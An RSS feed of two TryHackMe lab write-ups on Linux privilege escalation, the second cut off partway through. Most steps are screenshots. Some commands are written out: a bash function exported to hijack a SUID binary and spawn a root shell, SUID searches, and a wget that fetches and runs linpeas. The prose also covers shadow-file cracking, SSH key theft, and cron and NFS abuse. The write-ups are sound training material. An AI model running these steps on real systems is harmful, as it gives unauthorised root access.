<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Esmira Farziyeva on Medium]]></title>
        <description><![CDATA[Stories by Esmira Farziyeva on Medium]]></description>
        <link>https://medium.com/@esm1ra.farziyeva?source=rss-da2762993009------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wqZyvUV5JNVXTMoWQoxltQ.jpeg</url>
            <title>Stories by Esmira Farziyeva on Medium</title>
            <link>https://medium.com/@esm1ra.farziyeva?source=rss-da2762993009------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 20:10:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@esm1ra.farziyeva/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Linux PrivEsc Arena]]></title>
            <link>https://medium.com/@esm1ra.farziyeva/tryhackme-linux-privesc-arena-89cb7f798470?source=rss-da2762993009------2</link>
            <guid isPermaLink="false">https://medium.com/p/89cb7f798470</guid>
            <category><![CDATA[cronjob]]></category>
            <category><![CDATA[tryhackme-linux-privesc]]></category>
            <category><![CDATA[sudo]]></category>
            <category><![CDATA[privesc]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Esmira Farziyeva]]></dc:creator>
            <pubDate>Sun, 30 Jun 2024 13:17:02 GMT</pubDate>
            <atom:updated>2024-06-30T13:17:02.989Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,everyone! Today we are going to solve the room<br>“<a href="https://tryhackme.com/r/room/linuxprivescarena">Linux PrivEsc Arena</a>” at “TryHackMe” platform. Let`s start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*YYoexu2HIuVd92lD.png" /></figure><h3>Task 1: Connecting to the TryHackMe network</h3><p>You can either use the browser-based terminal (which appears when you deploy the machine), or you can connect to TryHackMe’s network (via OpenVPN) and SSH in directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*MUBTYHo1rbqnkCfeZzp9iA.png" /></figure><h3>Task 2: Deploy the vulnerable machine</h3><p>Let’s first connect to the machine. SSH is open on port 22. Your credentials are:</p><p><strong>username</strong>: TCM<br><strong>password</strong>: Hacker123</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*rgq7837EAX6HtVsU99m2NA.png" /></figure><h3>Task 3: Privilege Escalation — Kernel Exploits</h3><p>First of all, let’s check the kernel version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*DToC4_tQYISzDQqQEEOuhQ.png" /></figure><p>Then, I searched Google for known exploits for this kernel version and saw that our target is vulnerable to ‘Dirty COW’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aIAUzfyrtoT0V3U6ttlZVw.png" /></figure><h4>EDB-ID:40839 and CVE:<a href="https://nvd.nist.gov/vuln/detail/CVE-2016-5195">2016–5195</a></h4><p>Since this exploit is already installed in the tools directory, there’s no need for us to install it ourselves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*oY-Kwg6ll6dVxCu_drVw4A.png" /></figure><p>cp /tmp/passwd.bak /usr/bin/passwd</p><h3>Task 4: Privilege Escalation — Stored Passwords (Config Files)</h3><p>Sometimes, passwords can be stored in configuration files. When we list the contents of the user directory, we notice there is an ‘.ovpn’ file. Let’s read it’s content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*wuXBkGvFhwpi5uvujDchXQ.png" /></figure><h3>Task 5: Privilege Escalation — Stored Passwords (History)</h3><p>In some cases, passwords can be found in history files, so don’t forget to check them as well while performing privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*YkoycmF78LkzrQ4snqCoAA.png" /></figure><h3>Task 6: Privilege Escalation — Weak File Permissions</h3><p>We use the command ls -la /etc/shadow to check the permissions of the shadow file and find that we have read permissions for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*VwTSEYxd3hjwCJf4uf2_4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*0XGPBwh50CYQ3Ul6cgar5A.png" /></figure><p>Next, I copied the first lines of both files (/etc/passwd and /etc/shadow) and pasted them into new files on my attacker VM. Then, I used unshadow to combine them, making them crackable with the John the Ripper tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*l3Q5zil6aKyXKtOUDZGZUg.png" /></figure><p>That’s it! I obtained the root password and switched to the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*h6AXs6GobwmT0D7_ZLQi4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*dgKZt9U218OMNUG1cjsOJw.png" /></figure><h3>Task 7: Privilege Escalation — SSH Keys</h3><p>The id_rsa file allows us to authenticate without entering a password during SSH connections. Using the find command, I found the path of id_rsa file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*K03e7Wp0rXhUrtKVYKCYhQ.png" /></figure><p>I copied its content into a file on my own VM and changed its permissions to 400. Then, using the -i option followed by the id_rsa file, I logged in as the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*aJ6MomiHx5gXSEFIlljvHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*tTtWRL4FLNqLUboH8qAPnw.png" /></figure><h3>Task 8: Privilege Escalation — Sudo (Shell Escaping)</h3><p>Use sudo -l to view your current privileges on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*X_ePjJ9VziPnOSV7wtQH7w.png" /></figure><p>You can try any of the commands, but I used awk. Go to <a href="https://gtfobins.github.io/">GTFObins</a> and follow the instructions there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bce4d7dpuCVxdrAHtkKW5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*0vAPpKnwUMS9GSqBE2NsFQ.png" /></figure><h3>Task 9 : Privilege Escalation — Sudo (Abusing Intended Functionality)</h3><p>Use sudo -l to view your current privileges on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*YW75J3QuD3SQXNz4P2uKtw.png" /></figure><p>When we use the -f option with a file, it shows the first line of that file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*5imO0HngXmuXjqsIZtgpXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*l3Q5zil6aKyXKtOUDZGZUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*h6AXs6GobwmT0D7_ZLQi4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IxSTQuRFGXB5RwS4fH0LPA.png" /></figure><h3>Task 10 : Privilege Escalation — Sudo (LD_PRELOAD)</h3><p>Use sudo -l to view your current privileges on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KjukWUjt8BQwfBIVGdOimQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1B8DG9sSvHRS5U0i_CHq-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b6SivnC4bNAmO87mJNiBAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s_zRlr0znmePwGrw3ax38Q.png" /></figure><h3>Task 11 : <strong>Privilege Escalation — SUID (Shared Object Injection)</strong></h3><p>find / -type f -perm -04000 -ls 2&gt;/dev/null -We use this command to find suid binaries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZZFMOlVSonVAefIwQ-GnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRImM1KzwvZvBxyvygC-ew.png" /></figure><p>From the output, notice that libcalc.so file is missing from a writable directory. So let`s create it ourselves :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*UQKroTZZVoQWKHHlWq9mZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1cdUQ-MM19KlQsvsSBQ3lQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CMPuX5fPPsioGPSNy-w2Lg.png" /></figure><p>Since it is C code, I have to compile it with GCC</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*swkj0Cii1kLS83k-v_xPSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N7Al0rUT_fiFiHqtF2NoNg.png" /></figure><h3>Task 12 : Privilege Escalation — SUID (Symlinks)</h3><p>First of all, we need to check nginx`s version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*byAKdyoxWuR4K-C_MvthEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lfu__CjIliA8MRP-Pyshew.png" /></figure><p>Note that this exploit uses sudo, which has the SUID bit set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DHGGJClazWBQA-SYFrL1jg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VqIjMXG69ubqC0BxhYmdKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lha3oU-3H2oIp4RhoDfpYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Gz7GssWofzRa1XR3brMHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1dkIfMhcDEJhAoLxOUZ6w.png" /></figure><h3>Task 13 : Privilege Escalation — SUID (Environment Variables #1)</h3><p>find / -type f -perm -04000 -ls 2&gt;/dev/null -We use this command to find suid binaries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-sKzNcoz8SXICvVcpa5dg.png" /></figure><p>When we run it ,we see that it starts apache2 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pEwRCNOMgFWP1rrCOV0SOw.png" /></figure><p>The strings command looks for printable strings in a file.We see that it executes “service apache2 start” command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8vxKcO6xPYFJcbvoMK-LeA.png" /></figure><p>Since the full path of the service is not given, we can create a new service file in the /tmp directory and then modify the path. As a result, when the binary (/usr/local/bin/suid-env) is executed, it will search for the service command in our /tmp directory.In Linux, the PATH variable is a crucial component that specifies directories where the system should look for executable programs when running commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHKn0SJndLRSST1IaSwOTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3m67zr60IKI0s-N4aszsNA.png" /></figure><h3>Task 14: Privilege Escalation — SUID (Environment Variables #2)</h3><p><strong>find / -type f -perm -04000 -ls 2&gt;/dev/null</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZfUxB0VHfbmUuV3iuFHalA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OkNVfJpfKB4q9eXayNk2Qw.png" /></figure><p>Since the full path is specified, creating a new file will not be effective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2AaHYuzQsMExg9cLfBiW5w.png" /></figure><p><strong>function /usr/sbin/service() { cp /bin/bash /tmp &amp;&amp; chmod +s /tmp/bash &amp;&amp; /tmp/bash -p; }</strong></p><p><strong>export -f /usr/sbin/service</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v4Q8GVzWoT7k1RB9lRbmTQ.png" /></figure><h3>Task 15 : Privilege Escalation — Capabilities</h3><p>Use getcap -r / 2&gt;/dev/null to check the capabilities of the &quot;TCM&quot; user. File capabilities in Linux provide a way to grant specific privileges to individual processes without giving them full superuser (root) rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*exF6SWughO9J7RKzkydt9A.png" /></figure><p><a href="https://gtfobins.github.io/">GTFObins</a> is a useful site for leveraging capabilities to escalate our privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u4fRDsaj9u6pkudNPsZ2_A.png" /></figure><p>Don`t forget to use python2.6 which was the current version on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A66HzzgXl3lmXV4Km4iK2A.png" /></figure><h3>Task 16 : Privilege Escalation — Cron (Path)</h3><p>First, read the contents of the /etc/crontab file, which is a configuration file for automated tasks. We notice that the path to overwrite.sh is not specified, and in the PATH variable for cronjobs, it’s clear overwrite.sh will be searched starting from /home/user directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A2QuMWH5pXN_QGfWuQfZlQ.png" /></figure><p>In that directory, create a file named ‘overwrite.sh’ that assigns SUID permission to the ‘/bin/bash’ file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SHotikwka39fjkrupW3PUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0hcpKyOzp0JOY0DaKwiIDg.png" /></figure><p>After some time, the ‘/bin/bash’ binary already has the SUID bit set, and usage of the ‘/bin/bash -p’ command allows us to obtain a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7l6eXH-diy78swp6ZuMbg.png" /></figure><h3>Task 17 : Privilege Escalation — Cron (Wildcards)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQccb2_C3WjM-wMuEGGXfg.png" /></figure><p>Notice the wildcard (*) used by ‘tar’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1JjRlW3DL0QHca6AK6g8A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1WIda2XV3pY9zy0AIeANXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1YcjguCQmBuUcsmoEi5Q3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wr4JX5S65TRm8w2xcY_llg.png" /></figure><h3>Task 18 : Privilege Escalation — Cron (File Overwrite)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZYCIPFjCnT6kiD_rLAAzIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*a4O9mkBU90QQmdHEsoFfqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kxZ6m_eYPrDiWdlusiTGRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EnGl_sz8xjU1USQnUBJuwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XLLqFfpJjJHyxk9_kSq5MA.png" /></figure><h3>Task 19: Privilege Escalation — NFS Root Squashing</h3><p>/etc/exports is a configuration file for NFS shares.Let`s read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*guXpkcz2aVlQNgnwQyEaIQ.png" /></figure><p><em>Create a mount point on your attacking machine and mount that share to your machine.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-g-osWamg4-2QG9A_1VNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7n4xj5rI-g0ihNl1Z5ROA.png" /></figure><p>Copy /bin/bash to that mountable share on target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UQvBoZtt9Jm_7L51BZq7UA.png" /></figure><p>On the attacker machine, change its owner and give it SUID permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I0oyQ8O08rmE1-JDf68jLA.png" /></figure><p>Then, on the target system, verify that /bin/bash has SUID permissions set and<em> </em>run &quot;/bin/bash -p&quot; to obtain a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h3OhgRHYHyJghUeOv4k3vg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89cb7f798470" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe:Linux Privilege Escalation]]></title>
            <link>https://medium.com/@esm1ra.farziyeva/tryhackme-linux-privilege-escalation-15271966d126?source=rss-da2762993009------2</link>
            <guid isPermaLink="false">https://medium.com/p/15271966d126</guid>
            <category><![CDATA[sudo]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[suid]]></category>
            <category><![CDATA[linux-priv-esc]]></category>
            <dc:creator><![CDATA[Esmira Farziyeva]]></dc:creator>
            <pubDate>Wed, 26 Jun 2024 13:36:14 GMT</pubDate>
            <atom:updated>2024-06-26T13:36:14.254Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,everyone! Today we are going to solve the room <br>“<a href="https://tryhackme.com/r/room/linprivesc">Linux Privilege Escalation</a>”. Let`s start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*bp5ZeYpdHYHzXnLx-1_PtQ.png" /></figure><h3>Task 1: Introduction</h3><p>Privilege escalation is a journey. There are no silver bullets, and much depends on the specific configuration of the target system. The kernel version, installed applications, supported programming languages, other users’ passwords are a few key elements that will affect your road to the root shell.</p><p>This room was designed to cover the main privilege escalation vectors and give you a better understanding of the process. This new skill will be an essential part of your arsenal whether you are participating in CTFs, taking certification exams, or working as a penetration tester.</p><h3>Task 2: What is Privilege Escalation?</h3><p><strong>What does “privilege escalation” mean?</strong></p><p>At it’s core, Privilege Escalation usually involves going from a lower permission account to a higher permission one. More technically, it’s the exploitation of a vulnerability, design flaw, or configuration oversight in an operating system or application to gain unauthorized access to resources that are usually restricted from the users.</p><p><strong>Why is it important?</strong></p><p>It’s rare when performing a real-world penetration test to be able to gain a foothold (initial access) that gives you direct administrative access. Privilege escalation is crucial because it lets you gain system administrator levels of access, which allows you to perform actions such as:</p><ul><li>Resetting passwords</li><li>Bypassing access controls to compromise protected data</li><li>Editing software configurations</li><li>Enabling persistence</li><li>Changing the privilege of existing (or new) users</li><li>Execute any administrative command</li></ul><h3>Task 3: Enumeration</h3><p>Enumeration is the first step you have to take once you gain access to any system. You may have accessed the system by exploiting a critical vulnerability that resulted in root-level access or just found a way to send commands using a low privileged account. Penetration testing engagements, unlike CTF machines, don’t end once you gain access to a specific system or user privilege level. As you will see, enumeration is as important during the post-compromise phase as it is before.</p><h3>hostname</h3><p>The hostname command will return the hostname of the target machine. Although this value can easily be changed or have a relatively meaningless string (e.g. Ubuntu-3487340239), in some cases, it can provide information about the target system’s role within the corporate network (e.g. SQL-PROD-01 for a production SQL server).</p><h3>uname -a</h3><p>Will print system information giving us additional detail about the kernel used by the system. This will be useful when searching for any potential kernel vulnerabilities that could lead to privilege escalation.</p><h3>/proc/version</h3><p>The proc filesystem (procfs) provides information about the target system processes. You will find proc on many different Linux flavours, making it an essential tool to have in your arsenal.</p><p>Looking at /proc/version may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC) is installed.</p><h3>/etc/issue</h3><p>Systems can also be identified by looking at the /etc/issue file. This file usually contains some information about the operating system but can easily be customized or changed. While on the subject, any file containing system information can be customized or changed. For a clearer understanding of the system, it is always good to look at all of these.</p><h3>ps Command</h3><p>The ps command is an effective way to see the running processes on a Linux system. Typing ps on your terminal will show processes for the current shell.</p><p>The output of the ps (Process Status) will show the following;</p><ul><li>PID: The process ID (unique to the process)</li><li>TTY: Terminal type used by the user</li><li>Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)</li><li>CMD: The command or executable running (will NOT display any command line parameter)</li></ul><p>The “ps” command provides a few useful options.</p><ul><li>ps -A: View all running processes</li><li>ps axjf: View process tree (see the tree formation until ps axjf is run below)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/0*h1iawL5tmP7XbZ4U.png" /></figure><ul><li>ps aux: The aux option will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x). Looking at the ps aux command output, we can have a better understanding of the system and potential vulnerabilities.</li></ul><h3>env</h3><p>The env command will show environmental variables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/0*qSdpNQgQ__1WibpR.png" /></figure><p>The PATH variable may have a compiler or a scripting language (e.g. Python) that could be used to run code on the target system or leveraged for privilege escalation.</p><h3>sudo -l</h3><p>The target system may be configured to allow users to run some (or all) commands with root privileges. The sudo -l command can be used to list all commands your user can run using sudo.</p><p>ls</p><p>One of the common commands used in Linux is probably ls.</p><p>While looking for potential privilege escalation vectors, please remember to always use the ls command with the -la parameter. The example below shows how the “secret.txt” file can easily be missed using the ls or ls -l commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/0*Xc37owzFIiX3kCJS.png" /></figure><h3>Id</h3><p>The id command will provide a general overview of the user’s privilege level and group memberships.</p><p>It is worth remembering that the id command can also be used to obtain the same information for another user as seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/0*aNK8WAeikjzbEpbY.png" /></figure><h3>/etc/passwd</h3><p>Reading the /etc/passwd file can be an easy way to discover users on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/0*tkZ1fyEhGGa_W4yy.png" /></figure><p>While the output can be long and a bit intimidating, it can easily be cut and converted to a useful list for brute-force attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/0*RgQIywTSx17EGWBB.png" /></figure><p>Remember that this will return all users, some of which are system or service users that would not be very useful. Another approach could be to grep for “home” as real users will most likely have their folders under the “home” directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*hMat4Gytwxs8qlZN.png" /></figure><h3>history</h3><p>Looking at earlier commands with the history command can give us some idea about the target system and, albeit rarely, have stored information such as passwords or usernames.</p><h3>ifconfig</h3><p>The target system may be a pivoting point to another network. The ifconfig command will give us information about the network interfaces of the system. The example below shows the target system has three interfaces (eth0, tun0, and tun1). Our attacking machine can reach the eth0 interface but can not directly access the two other networks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/0*tu5MbLo6BYT4M19e.png" /></figure><p>This can be confirmed using the ip route command to see which network routes exist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/0*kIUCRi9j6uWXvjqI.png" /></figure><h3>netstat</h3><p>Following an initial check for existing interfaces and network routes, it is worth looking into existing communications. The netstat command can be used with several different options to gather information on existing connections.</p><ul><li>netstat -a: shows all listening ports and established connections.</li><li>netstat -at or netstat -au can also be used to list TCP or UDP protocols respectively.</li><li>netstat -l: list ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the “t” option to list only ports that are listening using the TCP protocol (below)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/0*Bsge3JliTRchaNOS.png" /></figure><ul><li>netstat -s: list network usage statistics by protocol (below) This can also be used with the -t or -u options to limit the output to a specific protocol.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/0*Qw7Q_V1XXgSEYP3N.png" /></figure><ul><li>netstat -tp: list connections with the service name and PID information.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/0*06VZUTgUaJNN2mnq.png" /></figure><p>This can also be used with the -l option to list listening ports (below)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/0*O1dGzbfL45FO5JEe.png" /></figure><p>We can see the “PID/Program name” column is empty as this process is owned by another user.</p><p>Below is the same command run with root privileges and reveals this information as 2641/nc (netcat)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/0*2WODsm95o1680ZUS.png" /></figure><ul><li>netstat -i: Shows interface statistics. We see below that “eth0” and “tun0” are more active than “tun1”.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/0*boK53QA2tStjetUG.png" /></figure><p>The netstat usage you will probably see most often in blog posts, write-ups, and courses is netstat -ano which could be broken down as follows;</p><ul><li>-a: Display all sockets</li><li>-n: Do not resolve names</li><li>-o: Display timers</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/0*8gFDQFWDfFd86e_c.png" /></figure><h3>find Command</h3><p>Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is useful and worth keeping in your arsenal.</p><p>Below are some useful examples for the “find” command.</p><p><strong>Find files:</strong></p><ul><li>find . -name flag1.txt: find the file named “flag1.txt” in the current directory</li><li>find /home -name flag1.txt: find the file names “flag1.txt” in the /home directory</li><li>find / -type d -name config: find the directory named config under “/”</li><li>find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)</li><li>find / -perm a=x: find executable files</li><li>find /home -user frank: find all files for user “frank” under “/home”</li><li>find / -mtime 10: find files that were modified in the last 10 days</li><li>find / -atime 10: find files that were accessed in the last 10 day</li><li>find / -cmin -60: find files changed within the last hour (60 minutes)</li><li>find / -amin -60: find files accesses within the last hour (60 minutes)</li><li>find / -size 50M: find files with a 50 MB size</li></ul><p>This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/0*Cr2DUmrXh7iwsqmV.png" /></figure><p>The example above returns files that are larger than 100 MB. It is important to note that the “find” command tends to generate errors which sometimes makes the output hard to read. This is why it would be wise to use the “find” command with “-type f 2&gt;/dev/null” to redirect errors to “/dev/null” and have a cleaner output (below).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/0*tdfagPFukYdLMOzw.png" /></figure><p>Folders and files that can be written to or executed from:</p><ul><li>find / -writable -type d 2&gt;/dev/null : Find world-writeable folders</li><li>find / -perm -222 -type d 2&gt;/dev/null: Find world-writeable folders</li><li>find / -perm -o w -type d 2&gt;/dev/null: Find world-writeable folders</li></ul><p>The reason we see three different “find” commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way “find” works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PAcMfR50nZ8flcyd.png" /></figure><ul><li>find / -perm -o x -type d 2&gt;/dev/null : Find world-executable folders</li></ul><p>Find development tools and supported languages:</p><ul><li>find / -name perl*</li><li>find / -name python*</li><li>find / -name gcc*</li></ul><p>Find specific file permissions:</p><p>Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account which runs it. This allows for an interesting privilege escalation path,we will see in more details on task 6. The example below is given to complete the subject on the “find” command.</p><ul><li>find / -perm -u=s -type f 2&gt;/dev/null: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.</li></ul><h3>General Linux Commands</h3><p>As we are in the Linux realm, familiarity with Linux commands, in general, will be very useful. Please spend some time getting comfortable with commands such as find, locate, grep, cut, sort, etc.</p><blockquote>ssh connection</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*dgiwk42X64GRkSJFd-3zbg.png" /></figure><blockquote>Task 3(1):hostname</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*02VYfz1iwgO_Uh3CnV-8QQ.png" /></figure><blockquote>Task 3(2):kernel version</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3PYNZHyVagvdlw3engYOcQ.png" /></figure><blockquote>Task 3(3): OS info</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*M2uoAH2J3B_94IKGzdNMVQ.png" /></figure><blockquote>Task 3(4): Python version</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*Xkmy-UqWsTH_HvfJyI67sw.png" /></figure><blockquote>Task3 (5):Just search Google for ‘3.13.0–24-generic exploit’.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CQ4rneIPk0EhVMzuWDL6Ew.png" /></figure><p>CVE-2015–1328</p><h3>Task 4: Automated Enumeration Tools</h3><p>Several tools can help you save time during the enumeration process. These tools should only be used to save time knowing they may miss some privilege escalation vectors. Below is a list of popular Linux enumeration tools with links to their respective Github repositories.</p><p>The target system’s environment will influence the tool you will be able to use. For example, you will not be able to run a tool written in Python if it is not installed on the target system. This is why it would be better to be familiar with a few rather than having a single go-to tool.</p><ul><li><strong>LinPeas</strong>:<a href="https://raw.githubusercontent.com/Cerbersec/scripts/master/linux/linpeas.sh">https://raw.githubusercontent.com/Cerbersec/scripts/master/linux/linpeas.sh</a></li></ul><pre>wget https://raw.githubusercontent.com/Cerbersec/scripts/master/linux/linpeas.sh<br>chmod +x linpeas.sh<br>./linpeas.sh</pre><ul><li><strong>LinEnum: </strong><a href="https://github.com/rebootuser/LinEnum">https://github.com/rebootuser/LinEnum</a></li><li><strong>LES (Linux Exploit Suggester): </strong><a href="https://github.com/mzet-/linux-exploit-suggester">https://github.com/mzet-/linux-exploit-suggester</a></li><li><strong>Linux Smart Enumeration: </strong><a href="https://github.com/diego-treitos/linux-smart-enumeration">https://github.com/diego-treitos/linux-smart-enumeration</a></li><li><strong>Linux Priv Checker:</strong> <a href="https://github.com/linted/linuxprivchecker">https://github.com/linted/linuxprivchecker</a></li></ul><h3>Task 5: Privilege Escalation: Kernel Exploits</h3><p>Privilege escalation ideally leads to root privileges. This can 